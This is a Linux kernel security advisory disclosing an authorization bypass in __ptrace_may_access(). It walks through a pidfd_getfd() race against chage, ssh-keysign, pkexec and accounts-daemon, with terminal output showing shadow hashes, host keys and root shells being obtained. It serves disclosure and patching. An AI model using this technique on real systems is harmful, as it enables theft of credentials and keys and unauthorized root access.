Qualys Security Advisory
Logic bug in the Linux kernel's __ptrace_may_access() function
(CVE-2026-46333)
========================================================================
Contents
========================================================================
Summary
Analysis
Case study: chage
Case study: ssh-keysign
Case study: pkexec
Case study: accounts-daemon
Acknowledgments
Timeline
========================================================================
Summary
========================================================================
We discovered a logic bug (an authorization bypass) in the Linux
kernel's __ptrace_may_access() function. This vulnerability is locally
exploitable for information disclosure and arbitrary command execution
as root. To the best of our knowledge, it was introduced in November
2016 (v4.10-rc1) by commit bfedb58 ("mm: Add a user_ns owner to
mm_struct and fix ptrace permission checks").
We developed four different exploits for this vulnerability (all of them
rely on the pidfd_getfd() syscall, which was introduced in January 2020
(v5.6-rc1), but other exploitation methods might exist):
- An exploit against chage (a set-uid-root or set-gid-shadow binary),
which allows a local attacker to disclose the contents of /etc/shadow
(the system's password hashes). We successfully tested this exploit on
the default installations of Debian 13, Ubuntu 24.04 and 26.04, Fedora
43 and 44; other distributions may also be exploitable.
- An exploit against ssh-keysign (a set-uid-root binary), which allows a
local attacker to disclose the host's private keys (/etc/ssh/*_key).
We successfully tested this exploit on the default installations of
Debian 13, Ubuntu 24.04 and 26.04; other distributions may also be
exploitable.
- An exploit against pkexec (a set-uid-root binary), which allows a
local attacker to execute arbitrary commands as root if the real user
of the computer is physically sitting at it (the attacker however can
be remotely logged in to the computer, via sshd for example). We
successfully tested this exploit on the default installations of
Debian 13, Ubuntu Desktop 24.04 and 26.04, Fedora Workstation 43 and
44; other distributions may also be exploitable.
- An exploit against accounts-daemon (a root daemon), which allows a
local attacker to execute arbitrary commands as root. We successfully
tested this exploit on the default installations of Debian 13, Fedora
Workstation 43 and 44; other distributions may also be exploitable,
but Ubuntu is notably not because it enables the Yama ptrace
protection by default (it sets kernel.yama.ptrace_scope to 1).
Please note that we have not exhaustively searched for exploitable
userland programs (set-uid, set-gid, set-capabilities binaries, and root
daemons); we simply remembered the four that we found from past research
projects, and other, possibly better, exploitable programs may exist.
Last-minute note: on Friday, May 15, 2026, we pre-published relevant
information at https://www.openwall.com/lists/oss-security/2026/05/15/2
and https://www.openwall.com/lists/oss-security/2026/05/15/8.
========================================================================
Analysis
========================================================================
An unprivileged user who wants to successfully call ptrace(),
process_vm_readv(), process_vm_writev(), or pidfd_getfd() on a process,
or access one of this process's sensitive files in /proc/pid, must first
pass two security checks in __ptrace_may_access():
------------------------------------------------------------------------
276 static int __ptrace_may_access(struct task_struct *task, unsigned int mode)
277 {
...
316 tcred = __task_cred(task);
317 if (uid_eq(caller_uid, tcred->euid) &&
318 uid_eq(caller_uid, tcred->suid) &&
319 uid_eq(caller_uid, tcred->uid) &&
320 gid_eq(caller_gid, tcred->egid) &&
321 gid_eq(caller_gid, tcred->sgid) &&
322 gid_eq(caller_gid, tcred->gid))
323 goto ok;
...
328 ok:
...
340 mm = task->mm;
341 if (mm &&
342 ((get_dumpable(mm) != SUID_DUMP_USER) &&
343 !ptrace_has_cap(mm->user_ns, mode)))
344 return -EPERM;
345
346 return security_ptrace_access_check(task, mode);
347 }
------------------------------------------------------------------------
1/ at lines 317-322, the process's effective, saved, real uids and gids
must be equal to the unprivileged user's uid and gid;
2/ at lines 341-342, the process's dumpable flag must be equal to
SUID_DUMP_USER (1).
By default, the kernel automatically sets a process's dumpable flag to
SUID_DUMP_DISABLE (0) if the process changes one of its uids or gids, to
prevent an unprivileged user from extracting sensitive information or
resources from this process. For example, sshd-session changes its root
uid and gid to an authenticated user's uid and gid, but its memory may
still contain secret information (private keys and password hashes).
Unfortunately, the check of the process's dumpable flag at line 342 can
be completely bypassed: if the process's mm pointer is NULL at line 341,
then the unprivileged user (whose uid and gid are equal to the process's
uid and gid) can trick __ptrace_may_access() into returning successfully
at line 346, even if the process's dumpable flag is not actually equal
to SUID_DUMP_USER (i.e., even if this process used to be privileged).
The kernel sets a process's mm pointer to NULL in do_exit(), at line
964, when this process is dying:
------------------------------------------------------------------------
896 void __noreturn do_exit(long code)
897 {
...
964 exit_mm();
...
971 exit_files(tsk);
....
1019 do_task_dead();
1020 }
------------------------------------------------------------------------
The question, then, is: what sensitive resources can an attacker steal
from a process that fully dropped its privileges (to the attacker's uid
and gid), after this process's mm pointer was set to NULL at line 964,
but before this process dies completely at line 1019?
Eventually, we found an answer to this question in the pidfd_getfd()
syscall:
------------------------------------------------------------------------
947 SYSCALL_DEFINE3(pidfd_getfd, int, pidfd, int, fd,
948 unsigned int, flags)
949 {
...
964 return pidfd_getfd(pid, fd);
------------------------------------------------------------------------
910 static int pidfd_getfd(struct pid *pid, int fd)
911 {
...
920 file = __pidfd_fget(task, fd);
------------------------------------------------------------------------
872 static struct file *__pidfd_fget(struct task_struct *task, int fd)
873 {
...
881 if (ptrace_may_access(task, PTRACE_MODE_ATTACH_REALCREDS))
882 file = fget_task(task, fd);
------------------------------------------------------------------------
1123 struct file *fget_task(struct task_struct *task, unsigned int fd)
1124 {
....
1128 if (task->files)
1129 file = __fget_files(task->files, fd, 0);
------------------------------------------------------------------------
- if we (attackers) SIGKILL a process immediately after it dropped its
privileges to our own uid and gid;
- and if we call pidfd_getfd() on this process after its mm pointer was
set to NULL (in do_exit(), at line 964) but before its files pointer
is set to NULL (in do_exit(), at line 971);
- then the call to ptrace_may_access() at line 881 succeeds (because the
process's uid and gid are equal to our own unprivileged uid and gid at
lines 317-322, and because its mm pointer is NULL at line 341 and
therefore bypasses the check of the dumpable flag at line 342);
- and we can steal any one of the process's open file descriptors at
line 1129, and use it as our own.
========================================================================
Case study: chage
========================================================================
chage is a set-uid-root or set-gid-shadow binary from the shadow-utils,
installed by default on most Linux distributions. If we execute it with
the -l option, then at line 776 it opens /etc/shadow in O_RDONLY mode,
and at lines 778-779 it drops its privileges to our own uid and gid:
------------------------------------------------------------------------
726 int main (int argc, char **argv)
727 {
...
753 ruid = getuid ();
754 rgid = getgid ();
...
776 open_files (lflg, &flags);
777 /* Drop privileges */
778 if (lflg && ( (setregid (rgid, rgid) != 0)
779 || (setreuid (ruid, ruid) != 0))) {
------------------------------------------------------------------------
Consequently, if we SIGKILL the chage process immediately after lines
778-779, and call pidfd_getfd() on this process in a tight loop, then
eventually we win the race in do_exit() (between line 964 and line 971),
bypass the check of the dumpable flag in ptrace_may_access(), and can
steal chage's /etc/shadow file descriptor and read its contents:
------------------------------------------------------------------------
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 26.04 LTS"
$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane)
$ stat /usr/bin/chage
Access: (2755/-rwxr-sr-x) Uid: ( 0/ root) Gid: ( 42/ shadow)
$ ./exploit-chage
root:*:20563:0:99999:7:::
...
john:$6$zejBXeN4uVNvydnA$hwbwcoT24evWSI4SqM1p8YIInVMtqY2CCE.vfudaG1/mIKayCFraqWIbY0tSIiLFl.8ZrBm86owPU.Xa8HauQ0:20585:0:99999:7:::
sshd:!*:20585::::::
jane:$y$j9T$r575buH7G8C84ZHsJRiee/$yyVfFeh/EMowm9GhXXC6TdgUGftwYpB8Uffa/k7VNE9:20585:0:99999:7:::
------------------------------------------------------------------------
========================================================================
Case study: ssh-keysign
========================================================================
ssh-keysign is a set-uid-root binary from OpenSSH, installed by default
on most Linux distributions. Even though EnableSSHKeysign is disabled by
default in /etc/ssh/ssh_config, at lines 203-205 it opens the host's
private key files (/etc/ssh/*_key), and at line 211 it drops its
privileges:
------------------------------------------------------------------------
176 main(int argc, char **argv)
177 {
...
203 key_fd[i++] = open(_PATH_HOST_ECDSA_KEY_FILE, O_RDONLY);
204 key_fd[i++] = open(_PATH_HOST_ED25519_KEY_FILE, O_RDONLY);
205 key_fd[i++] = open(_PATH_HOST_RSA_KEY_FILE, O_RDONLY);
206
207 if ((pw = getpwuid(getuid())) == NULL)
208 fatal("getpwuid failed");
209 pw = pwcopy(pw);
210
211 permanently_set_uid(pw);
...
224 if (options.enable_ssh_keysign != 1)
225 fatal("ssh-keysign not enabled in %s",
226 _PATH_HOST_CONFIG_FILE);
------------------------------------------------------------------------
Consequently, if we SIGKILL ssh-keysign immediately after line 211, and
call pidfd_getfd() in a loop, then we can steal any one of ssh-keysign's
/etc/ssh/*_key file descriptors and read its contents:
------------------------------------------------------------------------
$ cat /etc/os-release
PRETTY_NAME="Ubuntu 26.04 LTS"
$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane)
$ stat /usr/lib/openssh/ssh-keysign
Access: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
$ ./exploit-ssh-keysign 3
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
...
$ ./exploit-ssh-keysign 4
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
...
$ ./exploit-ssh-keysign 5
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
------------------------------------------------------------------------
========================================================================
Case study: pkexec
========================================================================
pkexec is a set-uid-root binary from the polkit package, installed by
default on most Linux desktop distributions. On Debian for example, an
"allow_active" user (a user who is physically sitting at the computer)
can execute /usr/libexec/gsd-backlight-helper as root, or as any other
user, via pkexec --user:
------------------------------------------------------------------------
$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
$ cat /usr/share/polkit-1/actions/org.gnome.settings-daemon.plugins.power.policy
...
no
no
yes
/usr/libexec/gsd-backlight-helper
...
------------------------------------------------------------------------
469 main (int argc, char *argv[])
470 {
...
585 opt_user = g_strdup (argv[n]);
...
641 rc = getpwnam_r (opt_user, &pwstruct, pwbuf, sizeof pwbuf, &pw);
....
1024 if (!fdwalk_close_on_exec (3))
....
1086 (void) setregid (pw->pw_gid, pw->pw_gid);
1087 (void) setreuid (pw->pw_uid, pw->pw_uid);
....
1109 if (execv (path, exec_argv) != 0)
------------------------------------------------------------------------
- between line 641 and line 1024, pkexec connects to the system dbus,
and authenticates this connection as root (with its SCM_CREDENTIALS);
- at line 1024, pkexec sets the close-on-exec flag on all open file
descriptors >= 3, including the file descriptor that is connected to
the system dbus (i.e., it will be closed later, at line 1109);
- at lines 1086-1087, pkexec fully drops its privileges (to the user
specified by the --user option at line 585).
Consequently:
- if we (attackers) execute pkexec with our own user as the --user
option, and SIGKILL pkexec immediately after it drops its privileges
to our uid and gid (at lines 1086-1087);
- then, if we call pidfd_getfd() in a tight loop, we can steal pkexec's
connection to the system dbus, which is already authenticated as root;
- and send a request to systemd (pid 1) over this connection to start a
transient unit (StartTransientUnit) and execute an arbitrary command
with full root privileges (ExecStart=/bin/sh -c 'id>>/tmp/pwned' for
example).
At first sight, it would seem that only a real "allow_active" user can
carry out this attack against pkexec; but not necessarily so, thanks to
Pumpkin Chang's clever "Trick 1 - Abuse Rule Limitations" from:
https://u1f383.github.io/linux/2025/05/25/dbus-and-polkit-introduction.html
In the following proof of concept, we (attackers) log in to the target
computer as the user jane, remotely via sshd, while the real user jane
is physically sitting at the computer (tty1). Our attempt at executing
pkexec naturally fails, because we are not an "allow_active" user; but
if we make the same attempt via systemd-run, it surprisingly succeeds.
We can therefore attack pkexec and execute arbitrary commands as root,
even though we are not really an "allow_active" user:
------------------------------------------------------------------------
> ssh jane@target
$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
$ w
17:39:07 up 4:43, 2 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
jane pts/0 192.168.56.1 16:44 3.00s 0.21s 0.01s w
jane tty1 - 12:56 4:42m 0.05s 0.05s -bash
$ stat /usr/bin/pkexec
Access: (4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
$ /usr/bin/pkexec --user jane /usr/libexec/gsd-backlight-helper
Error executing command as another user: Not authorized
This incident has been reported.
$ systemd-run --user -- /bin/sh -c '/usr/bin/pkexec --user jane /usr/libexec/gsd-backlight-helper > ~/output 2>&1'
Running as unit: run-p1550-i1850.service; invocation ID: 4e02cd9e5d7f455ea077db849fddd1e1
$ cat ~/output
This program can only be used by the root user
$ systemd-run --user -- /bin/sh -c '~/exploit-pkexec > ~/output 2>&1'
Running as unit: run-p1567-i1867.service; invocation ID: e014d0fea3bb42d188e290c6d4eceed0
$ cat ~/output
Unit path is "/org/freedesktop/systemd1/job/4235".
$ cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------------------
========================================================================
Case study: accounts-daemon
========================================================================
accounts-daemon is a root daemon from the accountsservice package,
installed by default on most Linux desktop distributions. In the strace
output below, we (attackers) send a request to accounts-daemon, over
dbus, to set our avatar (SetIconFile) to /etc/issue (for example):
------------------------------------------------------------------------
617 close_range(3, 4294967295, CLOSE_RANGE_CLOEXEC) = 0
...
728 setgid(1001) = 0
729 setuid(1001) = 0
730 execve("/bin/cat", ["/bin/cat", "/etc/issue"], 0x7fff22a14f58 /* 13 vars */
------------------------------------------------------------------------
- at line 617, accounts-daemon sets the close-on-exec flag on all file
descriptors >= 3, including its connection to the system dbus, which
is authenticated as root (i.e., it will be closed later, at line 730);
- at lines 728-729, accounts-daemon fully drops its privileges (to our
own uid and gid).
Consequently:
- if we send a request to accounts-daemon to reset our avatar, and if we
SIGKILL accounts-daemon immediately after it drops its privileges (at
lines 728-729) but before it executes /bin/cat (at line 730);
- then, if we call pidfd_getfd() in a tight loop, we can steal
accounts-daemon's connection to the system dbus, which is still
authenticated as root;
- and send a request to systemd over this connection to start a
transient unit and execute an arbitrary command with full root
privileges.
------------------------------------------------------------------------
$ cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 13 (trixie)"
$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)
$ ps -ef | grep accounts-daemon
root 578 1 0 06:07 ? 00:00:00 /usr/libexec/accounts-daemon
$ ./exploit-accounts-daemon
daemon_pid 578
cat_pid? 902 (accounts-daemon) R 578 578 578 0 -1 4194368 0 0 0 0 0 0 0
cat_pid? 902 (accounts-daemon) R 578 578 578 0 -1 4194368 24 0 0 0 0 0 0
cat_pid? 902 (accounts-daemon) R 578 578 578 0 -1 4194368 32 0 0 0 0 0 0
cat_pid? 903 (accounts-daemon) R 902 578 578 0 -1 4194368 0 0 0 0 0 0 0
cat_pid! 903 (accounts-daemon) R 902 578 578 0 -1 4194368 0 0 0 0 0 0 0
tries 165
fd 4
tries 20
Error: GDBus.Error:org.freedesktop.Accounts.Error.Failed: copying file '/etc/issue' to '/var/lib/AccountsService/icons/jane' failed: unknown reason
died in dbus: 60
$ cat /tmp/pwned
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------------------
On Fedora, SELinux prevents accounts-daemon from starting a transient
systemd unit, but we can send a request to another dbus daemon instead;
for example, we can send a request to accounts-daemon itself, to set an
administrator's password (SetPassword) of our choice, and then su to
this administrator, and then sudo to root:
------------------------------------------------------------------------
$ cat /etc/os-release
PRETTY_NAME="Fedora Linux 44 (Workstation Edition)"
$ id
uid=1001(jane) gid=1001(jane) groups=1001(jane) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ ps -ef | grep accounts-daemon
root 941 1 0 09:17 ? 00:00:00 /usr/libexec/accounts-daemon
$ su -l john
Password: RadicalEdward
su: Authentication failure
$ ./exploit-accounts-daemon
daemon_pid 941
cat_pid? 2749 (accounts-daemon) R 941 941 941 0 -1 4194368 7 0 0 0 0 0 0
cat_pid? 2749 (accounts-daemon) R 941 941 941 0 -1 4194368 23 0 0 0 0 0
cat_pid? 2749 (accounts-daemon) R 941 941 941 0 -1 4194368 38 0 0 0 0 0
cat_pid? 2750 (accounts-daemon) R 2749 941 941 0 -1 4194368 0 0 0 0 0 0
cat_pid! 2750 (accounts-daemon) R 2749 941 941 0 -1 4194368 0 0 0 0 0 0
tries 245
fd 4
tries 12
Error: GDBus.Error:org.freedesktop.Accounts.Error.Failed: copying file '/etc/issue' to '/var/lib/AccountsService/icons/jane' failed: unknown reason
died in dbus: 59
$ su -l john
Password: RadicalEdward
$ id
uid=1000(john) gid=1000(john) groups=1000(john),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
$ sudo -i
[sudo] password for john: RadicalEdward
# id
uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
------------------------------------------------------------------------
========================================================================
Acknowledgments
========================================================================
We thank the security@kernel (in particular, Linus Torvalds, Christian
Brauner, Kees Cook, Oleg Nesterov) for their work on this vulnerability.
We also thank the linux-distros@openwall (in particular, Solar Designer,
Sam James, Salvatore Bonaccorso) for their help with this disclosure.
This advisory was written in loving memory of CVE-2001-1384 (by Rafal
"nergal" Wojtczuk) and CVE-2003-0127 (by Wojciech "cliph" Purczynski).
========================================================================
Timeline
========================================================================
2026-05-11: Advisory and proof of concept sent to the security@kernel.
2026-05-14: Patch committed publicly (31e62c2) by Linus Torvalds.
2026-05-14: Heads-up sent to the private linux-distros@openwall.
2026-05-15: Heads-up sent to the public oss-security@openwall.
2026-05-20: Advisory published.